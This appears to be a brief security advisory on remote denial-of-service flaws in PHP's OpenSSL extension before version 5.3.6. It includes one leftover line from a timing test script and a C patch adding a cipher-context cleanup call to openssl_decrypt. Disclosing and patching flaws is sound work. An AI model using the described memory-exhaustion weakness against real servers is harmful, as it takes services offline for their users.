PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
 
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
 
Versions prior to PHP 5.3.6 are vulnerable.

print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>

fixes by add this code at line 4818 at the end of openssl_decrypt:
	EVP_CIPHER_CTX_cleanup(&cipher_ctx);
